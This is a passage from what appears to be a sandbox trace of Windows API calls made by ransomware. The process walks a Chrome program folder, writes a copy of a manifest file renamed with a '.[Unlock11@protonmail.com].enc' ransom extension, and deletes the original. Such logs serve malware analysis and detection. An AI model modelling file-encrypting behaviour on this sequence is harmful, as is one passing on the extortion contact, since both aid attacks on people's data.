ftLastAccessTime.dwLowDateTime=0xe4b31dc6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8de9172c, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x3558, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="eventlog_provider.dll", cAlternateFileName="EVENTL~1.DLL")) returned 1 [0199.956] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe29849c2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="Extensions", cAlternateFileName="EXTENS~1")) returned 1 [0199.956] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29aac04, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29aac04, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5158e3b4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x9b9830, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="icudtl.dat", cAlternateFileName="")) returned 1 [0199.956] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4b7e268, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b7e268, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b7e268, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="Installer", cAlternateFileName="INSTAL~1")) returned 1 [0199.956] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b31dc6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b31dc6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8e1fed42, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x18758, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="libegl.dll", cAlternateFileName="")) returned 1 [0199.956] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b31dc6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b31dc6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8e5b880c, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x3d6158, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="libglesv2.dll", cAlternateFileName="LIBGLE~1.DLL")) returned 1 [0199.957] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4620dd7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4620dd7, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="Locales", cAlternateFileName="")) returned 1 [0199.957] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4647067, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4647067, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51640744, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x380630, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="nacl_irt_x86_64.nexe", cAlternateFileName="NACL_I~1.NEX")) returned 1 [0199.957] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4647067, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4647067, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x516566d4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x36315, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="natives_blob.bin", cAlternateFileName="NATIVE~1.BIN")) returned 1 [0199.957] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46b976b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46b976b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x516fa004, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0xd37e32, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="resources.pak", cAlternateFileName="RESOUR~1.PAK")) returned 1 [0199.957] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51701534, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x175b94, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="snapshot_blob.bin", cAlternateFileName="SNAPSH~1.BIN")) returned 1 [0199.957] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b5803b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="swiftshader", cAlternateFileName="SWIFTS~1")) returned 1 [0199.957] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe46df998, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="VisualElements", cAlternateFileName="VISUAL~1")) returned 1 [0199.957] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe46df998, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1 [0199.958] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe46df998, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 0 [0199.958] FindClose (in: hFindFile=0x10f7750 | out: hFindFile=0x10f7750) returned 1 [0199.958] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\61.0.3163.79.manifest" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\61.0.3163.79.manifest")) returned 0x20 [0199.958] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2cd8 | out: hHeap=0x2ad0000) returned 1 [0199.958] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881000 [0199.959] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome.dll" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\chrome.dll")) returned 0x20 [0199.959] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2568 | out: hHeap=0x2ad0000) returned 1 [0199.959] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome.dll.sig" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\chrome.dll.sig")) returned 0x20 [0199.960] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1ee0 | out: hHeap=0x2ad0000) returned 1 [0199.960] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome.exe.sig" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\chrome.exe.sig")) returned 0x20 [0199.960] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2460 | out: hHeap=0x2ad0000) returned 1 [0199.960] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_100_percent.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\chrome_100_percent.pak")) returned 0x20 [0199.960] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2c78 | out: hHeap=0x2ad0000) returned 1 [0199.960] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881000, Size=0x20) returned 0x3733f08 [0199.961] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_200_percent.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\chrome_200_percent.pak")) returned 0x20 [0199.961] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2bb8 | out: hHeap=0x2ad0000) returned 1 [0199.961] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_child.dll" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\chrome_child.dll")) returned 0x20 [0199.962] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2510 | out: hHeap=0x2ad0000) returned 1 [0199.962] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_child.dll.sig" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\chrome_child.dll.sig")) returned 0x20 [0199.962] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2618 | out: hHeap=0x2ad0000) returned 1 [0199.962] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_elf.dll" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\chrome_elf.dll")) returned 0x20 [0199.963] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2460 | out: hHeap=0x2ad0000) returned 1 [0199.963] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_watcher.dll" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\chrome_watcher.dll")) returned 0x20 [0199.963] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2978 | out: hHeap=0x2ad0000) returned 1 [0199.963] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\d3dcompiler_47.dll" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\d3dcompiler_47.dll")) returned 0x20 [0199.963] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2618 | out: hHeap=0x2ad0000) returned 1 [0199.963] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\default_apps" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\default_apps")) returned 0x10 [0199.964] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2358 | out: hHeap=0x2ad0000) returned 1 [0199.964] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881090 [0199.964] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\eventlog_provider.dll" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\eventlog_provider.dll")) returned 0x20 [0199.965] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa28b8 | out: hHeap=0x2ad0000) returned 1 [0199.965] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Extensions" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\extensions")) returned 0x10 [0199.965] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a23b0 | out: hHeap=0x2ad0000) returned 1 [0199.966] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\icudtl.dat" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\icudtl.dat")) returned 0x20 [0199.966] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2460 | out: hHeap=0x2ad0000) returned 1 [0199.966] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer")) returned 0x10 [0199.967] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db9e0 | out: hHeap=0x2ad0000) returned 1 [0199.967] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\libegl.dll" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\libegl.dll")) returned 0x20 [0199.967] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a21f8 | out: hHeap=0x2ad0000) returned 1 [0199.967] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\libglesv2.dll" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\libglesv2.dll")) returned 0x20 [0199.967] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2358 | out: hHeap=0x2ad0000) returned 1 [0199.968] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales")) returned 0x10 [0199.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbad0 | out: hHeap=0x2ad0000) returned 1 [0199.968] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\nacl_irt_x86_64.nexe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\nacl_irt_x86_64.nexe")) returned 0x20 [0200.008] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2d38 | out: hHeap=0x2ad0000) returned 1 [0200.009] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\natives_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\natives_blob.bin")) returned 0x20 [0200.009] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2358 | out: hHeap=0x2ad0000) returned 1 [0200.009] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38879b0, Size=0x64) returned 0x2a19578 [0200.009] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\resources.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\resources.pak")) returned 0x20 [0200.010] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a23b0 | out: hHeap=0x2ad0000) returned 1 [0200.010] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\snapshot_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\snapshot_blob.bin")) returned 0x20 [0200.011] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2408 | out: hHeap=0x2ad0000) returned 1 [0200.011] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\swiftshader" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\swiftshader")) returned 0x10 [0200.011] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1f38 | out: hHeap=0x2ad0000) returned 1 [0200.011] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881090, Size=0x20) returned 0x3734250 [0200.011] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements")) returned 0x10 [0200.012] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1f38 | out: hHeap=0x2ad0000) returned 1 [0200.012] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\widevinecdm")) returned 0x10 [0200.012] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2618 | out: hHeap=0x2ad0000) returned 1 [0200.012] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\61.0.3163.79.manifest", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\61.0.3163.79.manifest", lpFilePart=0x9bada4*="61.0.3163.79.manifest") returned 0x53 [0200.013] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0200.013] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\61.0.3163.79.manifest" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\61.0.3163.79.manifest"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x512e9f64, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1 [0200.013] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671714 | out: pbBuffer=0x3671714) returned 1 [0200.013] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0200.013] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0200.013] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0200.014] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\61.0.3163.79.manifest" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\61.0.3163.79.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0200.014] GetFileType (hFile=0x334) returned 0x1 [0200.014] GetFileType (hFile=0x334) returned 0x1 [0200.014] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0200.014] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0200.014] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0200.015] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0200.015] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0200.015] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0200.015] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0200.015] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\61.0.3163.79.manifest.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\61.0.3163.79.manifest.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0200.015] GetFileType (hFile=0x39c) returned 0x1 [0200.016] GetFileType (hFile=0x39c) returned 0x1 [0200.016] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0200.016] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0200.016] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0200.016] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0200.016] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0200.016] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0200.016] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0200.018] CloseHandle (hObject=0x39c) returned 1 [0200.018] CloseHandle (hObject=0x334) returned 1 [0200.018] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\61.0.3163.79.manifest" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\61.0.3163.79.manifest")) returned 1 [0200.019] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome.dll", lpFilePart=0x9bada4*="chrome.dll") returned 0x48 [0200.020] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome.dll.sig", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome.dll.sig", lpFilePart=0x9bada4*="chrome.dll.sig") returned 0x4c [0200.020] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0200.020] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0200.020] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0200.020] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0200.020] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome.exe.sig", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome.exe.sig", lpFilePart=0x9bada4*="chrome.exe.sig") returned 0x4c [0200.020] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0200.020] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_100_percent.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_100_percent.pak", lpFilePart=0x9bada4*="chrome_100_percent.pak") returned 0x54 [0200.021] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_200_percent.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_200_percent.pak", lpFilePart=0x9bada4*="chrome_200_percent.pak") returned 0x54 [0200.021] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0200.021] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_child.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_child.dll", lpFilePart=0x9bada4*="chrome_child.dll") returned 0x4e [0200.021] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_child.dll.sig", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_child.dll.sig", lpFilePart=0x9bada4*="chrome_child.dll.sig") returned 0x52 [0200.021] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0200.021] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_elf.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\chrome_elf.dll", lpFilePart=0x9bada4*="chrome_elf.dll") returned 0x4c [0200.022] RtlAllocateHeap (HeapHandle=0x2ad0000, 